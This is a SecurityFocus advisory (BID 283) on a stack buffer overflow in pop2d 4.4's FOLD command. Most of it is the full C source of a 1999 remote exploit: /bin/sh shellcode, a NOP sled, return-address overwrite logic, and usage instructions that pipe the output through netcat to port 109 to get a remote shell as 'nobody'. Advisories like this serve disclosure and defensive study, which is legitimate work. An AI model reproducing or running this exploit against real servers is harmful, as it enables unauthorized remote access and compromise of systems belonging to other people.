source: http://www.securityfocus.com/bid/283/info

A buffer overflow vulnerability in pop2d version 4.4 or earlier allow malicious remote users to obtain access to the "nobody" user account.

The pop2 and pop3 servers support the concept of an "anonymous proxy", whereby a remote user connecting to the server can instruct it to open an IMAP mailbox on some other saver they have a valid account on. In this state the pop2 server runs under the "nobody" user id.

Once logged on, issuing a FOLD command with an argument of about 1000 bytes will cause a stack based buffer overflow. 

/*
 * Sekure SDI (Brazilian Information Security Team)
 * ipop2d remote exploit for linux (Jun, 02 1999)
 *
 * by c0nd0r <[email protected]>
 *
 *  (read the instructions below)
 *
 *  Thanks to jamez, bahamas, dumped, bishop, slide, paranoia, stderr,
 *            falcon, vader, c_orb, marty(nordo!) and minha malinha!
 *            also to #uground (irc.brasnet.org) and #SDI (efnet),
 *            guys at el8.org, toxyn.org, pulhas.org
 *
 *  Sincere Apologizes: duke (for the mistake we made with the wu-expl),
 *                     your code rocks.
 *
 *  Usage:
 *
 *    SDI-pop2 <imap_server> <user> <pass> [offset]
 *
 *   where  imap_server = IMAP server at your box (or other place as well)
 *          user = any account at your box
 *          pass = the account's password
 *          offset = 0 is default -- increase if it's necessary.
 *
 *  Example: (netcat rocks)
 *
 *  (./SDI-pop ppp-666.lame.org rewt lame 0; cat) | nc lame.org 109
 *
 *  ----------------------------------------------------------------
 *  HOWTO-exploit:
 *
 *   In order to gain remote access as user nobody, you should set
 *   an IMAP server at your box (just edit the inetd.conf) or at
 *   any other machine which you have an account.
 *
 *   During the anonymous_login() function, the ipop2d will set the
 *   uid to user nobody, so you are not going to get a rootshell.
 *  ----------------------------------------------------------------
 *
 *  We do NOT take any responsability for the consequences of using
 *  this code -- you've been warned! don't be a script k1dd13!
 *
 */


#include <stdio.h>

/*
 *  (shellcode)
 * 
 *       jmp   0x1f
 *       popl  %esi
 *       movl  %esi,0x8(%esi)
 *       xorl  %eax,%eax
 *       movb  %eax,0x7(%esi)
 *       movl  %eax,0xc(%esi)
 *       movb  $0xb,%al
 *       movl  %esi,%ebx
 *       leal  0x8(%esi),%ecx
 *       leal  0xc(%esi),%edx
 *       int   $0x80
 *       xorl  %ebx,%ebx
 *       movl  %ebx,%eax
 *       inc   %eax
 *       int   $0x80
 *       call  -0x24
 *       .string \"/bin/sh\"
 * grab your shellcode generator at www.sekure.org
 */

char c0d3[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"
        "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
        "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff"
        "\xff\xff/bin/sh";
 

main (int argc, char *argv[] ) {
 char buf[2500];
 int x,y=1000, offset=0;
 long addr;
 char host[255], user[255], pass[255];
 int bsize=986;
 
 if ( argc < 4) {
  printf ( "Sekure SDI ipop2d remote exploit - Jun, 02 1999\n");
  printf ( "usage:
(SDI-pop2 <imap server> <user> <pass> [offset];cat) | nc lame.org 109\n");
  exit (0);
 }
  
 snprintf ( host, sizeof(host), "%s", argv[1]);
 snprintf ( user, sizeof(user), "%s", argv[2]);
 snprintf ( pass, sizeof(pass), "%s", argv[3]);
 
 if ( argc > 4) offset = atoi ( argv[4]);
 /* gimme the ret + offset */
 addr = 0xbffff3c0 + offset; 
 fprintf ( stderr, "0wning data since 0x%x\n\n", addr);
 
 /* calculation of the return address position */
 bsize -= strlen ( host);
 
 for ( x = 0; x < bsize-strlen(c0d3); x++)
  buf[x] = 0x90;
 
 for ( y = 0; y < strlen(c0d3); x++, y++)
  buf[x] = c0d3[y]; 
 
 for (  ; x < 1012; x+=4) { 
  buf[x  ] = addr & 0x000000ff;
  buf[x+1] = (addr & 0x0000ff00) >> 8;
  buf[x+2] = (addr & 0x00ff0000) >> 16;
  buf[x+3] = (addr & 0xff000000) >> 24;
 }
        
 sleep (1);
 printf ( "HELO %s:%s %s\r\n", host, user, pass);
 sleep (1);
 printf ( "FOLD %s\r\n", buf);

}